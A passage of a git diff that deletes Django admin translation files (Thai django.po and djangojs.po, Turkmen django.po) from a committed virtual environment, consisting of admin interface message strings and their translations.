"Server error" -msgstr "เซิร์ฟเวอร์ขัดข้อง" - -msgid "Server error (500)" -msgstr "เซิร์ฟเวอร์ขัดข้อง (500)" - -msgid "Server Error (500)" -msgstr "เซิร์ฟเวอร์ขัดข้อง (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "รันคำสั่งที่ถูกเลือก" - -msgid "Go" -msgstr "ไป" - -msgid "Click here to select the objects across all pages" -msgstr "คลิกที่นี่เพื่อเลือกอ็อบเจ็กต์จากหน้าทั้งหมด" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "เลือกทั้งหมด %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "เคลียร์ตัวเลือก" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "กรุณาใส่ชื่อผู้ใช้และรหัสผ่าน" - -msgid "Change password" -msgstr "เปลี่ยนรหัสผ่าน" - -msgid "Please correct the error below." -msgstr "กรุณาแก้ไขข้อผิดพลาดด้านล่าง" - -msgid "Please correct the errors below." -msgstr "กรุณาแก้ไขข้อผิดพลาดด้านล่าง" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "ใส่รหัสผ่านใหม่สำหรับผู้ใช้ %(username)s." - -msgid "Welcome," -msgstr "ยินดีต้อนรับ," - -msgid "View site" -msgstr "ดูที่หน้าเว็บ" - -msgid "Documentation" -msgstr "เอกสารประกอบ" - -msgid "Log out" -msgstr "ออกจากระบบ" - -#, python-format -msgid "Add %(name)s" -msgstr "เพิ่ม %(name)s" - -msgid "History" -msgstr "ประวัติ" - -msgid "View on site" -msgstr "ดูที่หน้าเว็บ" - -msgid "Filter" -msgstr "ตัวกรอง" - -msgid "Remove from sorting" -msgstr "เอาออกจาก sorting" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "ลำดับการ sorting: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "เปิด/ปิด sorting" - -msgid "Delete" -msgstr "ลบ" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"กำลังดำเนินการลบ %(object_name)s '%(escaped_object)s'และจะแสดงผลการลบ " -"แต่บัญชีของคุณไม่สามารถทำการลบข้อมูลชนิดนี้ได้" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"การลบ %(object_name)s '%(escaped_object)s' จำเป็นจะต้องลบอ็อบเจ็กต์ที่เกี่ยวข้องต่อไปนี้:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"คุณแน่ใจหรือที่จะลบ %(object_name)s \"%(escaped_object)s\"?" -"ข้อมูลที่เกี่ยวข้องทั้งหมดจะถูกลบไปด้วย:" - -msgid "Objects" -msgstr "อ็อบเจ็กต์" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "ไม่ พาฉันกลับ" - -msgid "Delete multiple objects" -msgstr "ลบหลายอ็อบเจ็กต์" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"การลบ %(objects_name)s ที่เลือก จะทำให้อ็อบเจ็กต์ที่เกี่ยวข้องถูกลบไปด้วย " -"แต่บัญชีของคุณไม่มีสิทธิ์ที่จะลบอ็อบเจ็กต์ชนิดนี้" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "การลบ %(objects_name)s ที่ถูกเลือก จำเป็นจะต้องลบอ็อบเจ็กต์ที่เกี่ยวข้องต่อไปนี้:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"คุณแน่ใจหรือว่า ต้องการลบ %(objects_name)s ที่ถูกเลือก? เนื่องจากอ็อบเจ็กต์ " -"และรายการที่เกี่ยวข้องทั้งหมดต่อไปนี้จะถูกลบด้วย" - -msgid "View" -msgstr "ดู:" - -msgid "Delete?" -msgstr "ลบ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " โดย %(filter_title)s " - -msgid "Summary" -msgstr "สรุป" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "โมเดลในแอป %(name)s" - -msgid "Add" -msgstr "เพิ่ม" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "การกระทำล่าสุด" - -msgid "My actions" -msgstr "การกระทำของฉัน" - -msgid "None available" -msgstr "ไม่ว่าง" - -msgid "Unknown content" -msgstr "ไม่ทราบเนื้อหา" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"คุณได้ลงชื่อเป็น %(username)s แต่ไม่ได้รับอนุญาตให้เข้าถึงหน้านี้ " -"คุณต้องการลงชื่อเข้าใช้บัญชีอื่นหรือไม่?" - -msgid "Forgotten your password or username?" -msgstr "ลืมรหัสผ่านหรือชื่อผู้ใช้ของคุณหรือไม่" - -msgid "Date/time" -msgstr "วันที่/เวลา" - -msgid "User" -msgstr "ผู้ใช้" - -msgid "Action" -msgstr "คำสั่ง" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "แสดงทั้งหมด" - -msgid "Save" -msgstr "บันทึก" - -msgid "Popup closing…" -msgstr "ปิดป๊อปอัป ..." - -msgid "Search" -msgstr "ค้นหา" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s ผลลัพธ์" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s ทั้งหมด" - -msgid "Save as new" -msgstr "บันทึกใหม่" - -msgid "Save and add another" -msgstr "บันทึกและเพิ่ม" - -msgid "Save and continue editing" -msgstr "บันทึกและกลับมาแก้ไข" - -msgid "Save and view" -msgstr "บันทึกและดู" - -msgid "Close" -msgstr "ปิด" - -#, python-format -msgid "Change selected %(model)s" -msgstr "เปลี่ยนแปลง %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "เพิ่ม %(model)sอีก" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "ลบ %(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "ขอบคุณที่สละเวลาอันมีค่าให้กับเว็บไซต์ของเราในวันนี้" - -msgid "Log in again" -msgstr "เข้าสู่ระบบอีกครั้ง" - -msgid "Password change" -msgstr "เปลี่ยนรหัสผ่าน" - -msgid "Your password was changed." -msgstr "รหัสผ่านของคุณถูกเปลี่ยนไปแล้ว" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "เปลี่ยนรหัสผ่านของฉัน" - -msgid "Password reset" -msgstr "ตั้งค่ารหัสผ่านใหม่" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "รหัสผ่านของคุณได้รับการตั้งค่าแล้ว คุณสามารถเข้าสู่ระบบได้ทันที" - -msgid "Password reset confirmation" -msgstr "การยืนยันตั้งค่ารหัสผ่านใหม่" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "กรุณาใส่รหัสผ่านใหม่สองครั้ง เพื่อตรวจสอบว่าคุณได้พิมพ์รหัสอย่างถูกต้อง" - -msgid "New password:" -msgstr "รหัสผ่านใหม่:" - -msgid "Confirm password:" -msgstr "ยืนยันรหัสผ่าน:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"การตั้งรหัสผ่านใหม่ไม่สำเร็จ เป็นเพราะว่าหน้านี้ได้ถูกใช้งานไปแล้ว กรุณาทำการตั้งรหัสผ่านใหม่อีกครั้ง" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"คุณได้รับอีเมล์ฉบับนี้ เนื่องจากคุณส่งคำร้องขอเปลี่ยนรหัสผ่านสำหรับบัญชีผู้ใช้ของคุณที่ %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "กรุณาไปที่หน้านี้และเลือกรหัสผ่านใหม่:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "ขอบคุณสำหรับการใช้งานเว็บไซต์ของเรา" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s ทีม" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "อีเมล:" - -msgid "Reset my password" -msgstr "ตั้งรหัสผ่านของฉันใหม่" - -msgid "All dates" -msgstr "ทุกวัน" - -#, python-format -msgid "Select %s" -msgstr "เลือก %s" - -#, python-format -msgid "Select %s to change" -msgstr "เลือก %s เพื่อเปลี่ยนแปลง" - -#, python-format -msgid "Select %s to view" -msgstr "เลือก %s เพื่อดู" - -msgid "Date:" -msgstr "วันที่ :" - -msgid "Time:" -msgstr "เวลา :" - -msgid "Lookup" -msgstr "ดูที่" - -msgid "Currently:" -msgstr "ปัจจุบัน:" - -msgid "Change:" -msgstr "เปลี่ยนเป็น:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 71eff638..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.po deleted file mode 100644 index 5cca152c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,213 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Kowit Charoenratchatabhan , 2011-2012,2018 -# Perry Roper , 2017 -# Suteepat Damrongyingsupab , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2018-05-06 07:50+0000\n" -"Last-Translator: Kowit Charoenratchatabhan \n" -"Language-Team: Thai (http://www.transifex.com/django/django/language/th/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: th\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%sที่มีอยู่" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"นี่คือรายการที่ใช้ได้ของ %s คุณอาจเลือกบางรายการโดยการเลือกไว้ในกล่องด้านล่างแล้วคลิกที่ปุ่ม " -"\"เลือก\" ระหว่างสองกล่อง" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "พิมพ์ลงในช่องนี้เพื่อกรองรายการที่ใช้ได้ของ %s" - -msgid "Filter" -msgstr "ตัวกรอง" - -msgid "Choose all" -msgstr "เลือกทั้งหมด" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "คลิกเพื่อเลือก %s ทั้งหมดในครั้งเดียว" - -msgid "Choose" -msgstr "เลือก" - -msgid "Remove" -msgstr "ลบออก" - -#, javascript-format -msgid "Chosen %s" -msgstr "%sที่ถูกเลือก" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"นี่คือรายการที่ถูกเลือกของ %s คุณอาจเอาบางรายการออกโดยการเลือกไว้ในกล่องด้านล่างแล้วคลิกที่ปุ่ม " -"\"เอาออก\" ระหว่างสองกล่อง" - -msgid "Remove all" -msgstr "เอาออกทั้งหมด" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "คลิกเพื่อเอา %s ออกทั้งหมดในครั้งเดียว" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s จาก %(cnt)s selected" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"คุณยังไม่ได้บันทึกการเปลี่ยนแปลงในแต่ละฟิลด์ ถ้าคุณเรียกใช้คำสั่ง " -"ข้อมูลที่ไม่ได้บันทึกการเปลี่ยนแปลงของคุณจะหายไป" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"คุณได้เลือกคำสั่ง แต่คุณยังไม่ได้บันทึกการเปลี่ยนแปลงของคุณไปยังฟิลด์ กรุณาคลิก OK เพื่อบันทึก " -"คุณจะต้องเรียกใช้คำสั่งใหม่อีกครั้ง" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"คุณได้เลือกคำสั่งและคุณยังไม่ได้ทำการเปลี่ยนแปลงใด ๆ ในฟิลด์ คุณอาจมองหาปุ่มไปมากกว่าปุ่มบันทึก" - -msgid "Now" -msgstr "ขณะนี้" - -msgid "Midnight" -msgstr "เที่ยงคืน" - -msgid "6 a.m." -msgstr "หกโมงเช้า" - -msgid "Noon" -msgstr "เที่ยงวัน" - -msgid "6 p.m." -msgstr "หกโมงเย็น" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "หมายเหตุ: เวลาคุณเร็วกว่าเวลาบนเซิร์ฟเวอร์อยู่ %s ชั่วโมง." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "หมายเหตุ: เวลาคุณช้ากว่าเวลาบนเซิร์ฟเวอร์อยู่ %s ชั่วโมง." - -msgid "Choose a Time" -msgstr "เลือกเวลา" - -msgid "Choose a time" -msgstr "เลือกเวลา" - -msgid "Cancel" -msgstr "ยกเลิก" - -msgid "Today" -msgstr "วันนี้" - -msgid "Choose a Date" -msgstr "เลือกวัน" - -msgid "Yesterday" -msgstr "เมื่อวาน" - -msgid "Tomorrow" -msgstr "พรุ่งนี้" - -msgid "January" -msgstr "มกราคม" - -msgid "February" -msgstr "กุมภาพันธ์" - -msgid "March" -msgstr "มีนาคม" - -msgid "April" -msgstr "เมษายน" - -msgid "May" -msgstr "พฤษภาคม" - -msgid "June" -msgstr "มิถุนายน" - -msgid "July" -msgstr "กรกฎาคม" - -msgid "August" -msgstr "สิงหาคม" - -msgid "September" -msgstr "กันยายน" - -msgid "October" -msgstr "ตุลาคม" - -msgid "November" -msgstr "พฤศจิกายน" - -msgid "December" -msgstr "ธันวาคม" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "อา." - -msgctxt "one letter Monday" -msgid "M" -msgstr "จ." - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "อ." - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "พ." - -msgctxt "one letter Thursday" -msgid "T" -msgstr "พฤ." - -msgctxt "one letter Friday" -msgid "F" -msgstr "ศ." - -msgctxt "one letter Saturday" -msgid "S" -msgstr "ส." - -msgid "Show" -msgstr "แสดง" - -msgid "Hide" -msgstr "ซ่อน" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.mo deleted file mode 100644 index f78c515f..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.po deleted file mode 100644 index ad73340b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tk/LC_MESSAGES/django.po +++ /dev/null @@ -1,738 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mariusz Felisiak , 2022 -# Natalia, 2024 -# Resul , 2024 -# Rovshen Tagangylyjov, 2024 -# Welbeck Garli , 2022 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: Natalia, 2024\n" -"Language-Team: Turkmen (http://app.transifex.com/django/django/language/" -"tk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tk\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "%(verbose_name_plural)s saýlanany poz" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d%(items)süstünlikli pozuldy." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Pozmak amala aşyrylyp bilinmedi %(name)s" - -msgid "Are you sure?" -msgstr "Siz dowam etmekçimi?" - -msgid "Administration" -msgstr "Administrasiýa" - -msgid "All" -msgstr "Ählisi" - -msgid "Yes" -msgstr "Hawa" - -msgid "No" -msgstr "Ýok" - -msgid "Unknown" -msgstr "Näbelli" - -msgid "Any date" -msgstr "Islendik sene" - -msgid "Today" -msgstr "Şu gün" - -msgid "Past 7 days" -msgstr "Soňky 7 gün" - -msgid "This month" -msgstr "Şu aý" - -msgid "This year" -msgstr "Şu ýyl" - -msgid "No date" -msgstr "Senesiz" - -msgid "Has date" -msgstr "Senesi bar" - -msgid "Empty" -msgstr "Boş" - -msgid "Not empty" -msgstr "Boş däl" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Administratiw bolmadyk hasap üçin dogry %(username)s we parol ulanmagyňyzy " -"sizden haýyş edýäris. Giriziljek maglumatlaryň harp ýalňyşsyz bolmagyny göz " -"öňünde tutmagy unutmaň." - -msgid "Action:" -msgstr "Hereket:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Başga %(verbose_name)s goş" - -msgid "Remove" -msgstr "Aýyr" - -msgid "Addition" -msgstr "Goşmak" - -msgid "Change" -msgstr "Üýtget" - -msgid "Deletion" -msgstr "Pozmaklyk" - -msgid "action time" -msgstr "hereket wagty" - -msgid "user" -msgstr "ulanyjy" - -msgid "content type" -msgstr "mazmun görnüşi" - -msgid "object id" -msgstr "obýekt id-sy" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "obýekt repr-y" - -msgid "action flag" -msgstr "hereket belligi" - -msgid "change message" -msgstr "Habarnamany üýtget" - -msgid "log entry" -msgstr "Giriş habarnamasy" - -msgid "log entries" -msgstr "giriş habarnamalary" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" goşuldy" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\" üýtgedildi - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" pozuldy." - -msgid "LogEntry Object" -msgstr "GirişHabarnamasy Obýekty" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Goşuldy {name} “{object}”." - -msgid "Added." -msgstr "Goşuldy." - -msgid "and" -msgstr "we" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} üýtgedildi." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "" - -#, python-format -msgid "Change %s" -msgstr "" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "" - -msgid "View" -msgstr "" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "" - -msgid "Set password" -msgstr "" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "" - -msgid "Enable password-based authentication" -msgstr "" - -msgid "Skip to main content" -msgstr "" - -msgid "Welcome," -msgstr "" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "" - -msgid "Log out" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Hide counts" -msgstr "" - -msgid "Show counts" -msgstr "" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Toggle theme (current theme: auto)" -msgstr "" - -msgid "Toggle theme (current theme: light)" -msgstr "" - -msgid "Toggle theme (current theme: dark)" -msgstr "" - -msgid "Delete" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Added:" -msgstr "" - -msgid "Changed:" -msgstr "" - -msgid "Deleted:" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Toggle navigation" -msgstr "" - -msgid "Sidebar" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "Select all objects on this page for an action" -msgstr "" - -msgid "All dates" -msgstr "" - -#, python-format -msgid "Select %s" -msgstr "" - -#, python-format -msgid "Select %s to change" -msgstr "" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "" - -msgid "Time:" -msgstr "" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.mo deleted file mode 100644 index dd056786..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.po 